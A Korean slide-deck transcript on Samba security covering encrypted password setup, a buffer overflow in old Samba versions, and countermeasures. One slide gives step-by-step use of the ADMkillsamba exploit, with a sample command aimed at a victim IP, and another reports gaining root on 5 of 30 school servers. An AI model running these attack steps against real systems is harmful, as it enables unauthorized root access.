1 / 9

Samba 와 보안

Samba 와 보안. PLUS 오태호. 목차. Samba 는 무엇인가? Samba Server 의 Encryption 지원 Samba Server 의 Buffer Overflow. Samba 는 무엇인가?. Samba is a suite of programs which work together to allow clients to access to a server's filespace and printers via the SMB(Server Message Block) protocol.

seth-mendez
Download Presentation

Samba 와 보안

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Samba와 보안 PLUS 오태호

  2. 목차 • Samba는 무엇인가? • Samba Server의 Encryption지원 • Samba Server의 Buffer Overflow

  3. Samba는 무엇인가? • Samba is a suite of programs which work together to allow clients to access to a server's filespace and printers via the SMB(Server Message Block) protocol.

  4. Samba Server의 Encryption(1) • Encryption 세팅 과정 % cat /etc/passwd | mksmbpasswd.sh > /etc/smbpasswd % chmod 600 /etc/smbpasswd % chown root `which smbpasswd` % chmod 4555 `which smbpasswd` /etc/smb.conf 안에 다음과 같이 설정 [global] encrypt passwords = yes smb passwd file = /etc/smbpasswd sambaserver를 재시동시킴 password를 바꿀 때는 smbpasswd 명령어를 사용

  5. Samba Server의 Encryption(2) • password정보가 전송될 때 encryption되기 때문에 sniffer를 이용한 공격이 어려워짐 • 기존의 UNIX에서 쓰던 encryption방식과 다르기 때문에 password file을 따로 관리해야되는 불편이 있음 • WindowsNT 4.0 service pack 3에서는 기본적으로 지원

  6. Samba Server의 Buffer Overflow(1) • samba server로 password정보를 보낼 때 password를 길게 보내면 buffer overflow가 일어나서 외부사용자가 root권한을 획들할 가능성이 있음 • samba server 1.9.17p1이하의 samba server는 위와 같은 buffer overflow의 가능성이 있음 ( redhat linux 4.x에 기본적으로 설치되어 있음 )

  7. Samba Server의 Buffer Overflow(2) • 현재 intel계열에서 작동하고 있는 samba server를 공격하는 program을 인터넷에서 구할 수 있음 (ADMkillsamba) • 하지만 외부에서 buffer size와 offset을 알아내기가 힘들기 때문에 root권한을 얻기가 쉽지 않음

  8. Samba Server의 Buffer Overflow(3) • 공격 방법 samba source code를 구함 smb.h에서 typedef char pstring[1024]; 를 typedef char pstring[20000]; 와 같이 고침 % make smbclient % xhost + ADMkillsamba R <ip of the victim> <netbios name> <your ip> [buffsize] [offset size] 와 같은 형식으로 실행 % ADMkillsamba R 141.223.4.200 ACNET 141.223.124.30 3081 2400 buffsize와 offsetsize를 바꿔 가며 계속 시도

  9. Samba Server의 Buffer Overflow(4) • 학교에 있는 linuxserver중 30대를 무작위로 선택해서 시험해 본 결과 5대에서 root권한을 얻을 수 있었음 • 대책 • samba server를 작동시키지 않음 • samba server를 최신 version으로 교체 • ftp://samba.anu.edu.au/pub/samba/

More Related